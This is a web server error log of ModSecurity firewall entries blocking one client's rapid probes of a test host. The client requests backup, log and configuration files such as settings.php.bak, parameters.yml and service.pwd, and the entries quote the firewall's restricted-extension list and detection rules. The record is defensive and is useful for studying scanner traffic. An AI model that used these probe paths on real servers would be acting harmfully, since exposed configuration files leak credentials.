[Thu Feb 26 01:03:33.687137 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmGQAAAAI&quot;]
[Thu Feb 26 01:03:33.687623 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmGQAAAAI&quot;]
[Thu Feb 26 01:03:33.687791 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmGQAAAAI&quot;]
[Thu Feb 26 01:03:33.744378 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVXgAAAAc&quot;]
[Thu Feb 26 01:03:33.744863 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVXgAAAAc&quot;]
[Thu Feb 26 01:03:33.745027 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVXgAAAAc&quot;]
[Thu Feb 26 01:03:33.775748 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVXwAAAAc&quot;]
[Thu Feb 26 01:03:33.776227 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVXwAAAAc&quot;]
[Thu Feb 26 01:03:33.776390 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVXwAAAAc&quot;]
[Thu Feb 26 01:03:33.839199 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYQAAAAc&quot;]
[Thu Feb 26 01:03:33.839445 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYQAAAAc&quot;]
[Thu Feb 26 01:03:33.839603 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYQAAAAc&quot;]
[Thu Feb 26 01:03:33.873065 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYgAAAAc&quot;]
[Thu Feb 26 01:03:33.873301 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYgAAAAc&quot;]
[Thu Feb 26 01:03:33.873465 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYgAAAAc&quot;]
[Thu Feb 26 01:03:33.906364 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYwAAAAc&quot;]
[Thu Feb 26 01:03:33.906612 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYwAAAAc&quot;]
[Thu Feb 26 01:03:33.906776 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVYwAAAAc&quot;]
[Thu Feb 26 01:03:34.003843 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVZgAAAAc&quot;]
[Thu Feb 26 01:03:34.004350 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVZgAAAAc&quot;]
[Thu Feb 26 01:03:34.004604 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVZgAAAAc&quot;]
[Thu Feb 26 01:03:34.028517 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVZwAAAAc&quot;]
[Thu Feb 26 01:03:34.029000 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVZwAAAAc&quot;]
[Thu Feb 26 01:03:34.029179 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVZwAAAAc&quot;]
[Thu Feb 26 01:03:34.158456 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmJwAAAAI&quot;]
[Thu Feb 26 01:03:34.158957 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmJwAAAAI&quot;]
[Thu Feb 26 01:03:34.159111 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmJwAAAAI&quot;]
[Thu Feb 26 01:03:34.242300 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmKgAAAAI&quot;]
[Thu Feb 26 01:03:34.242885 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmKgAAAAI&quot;]
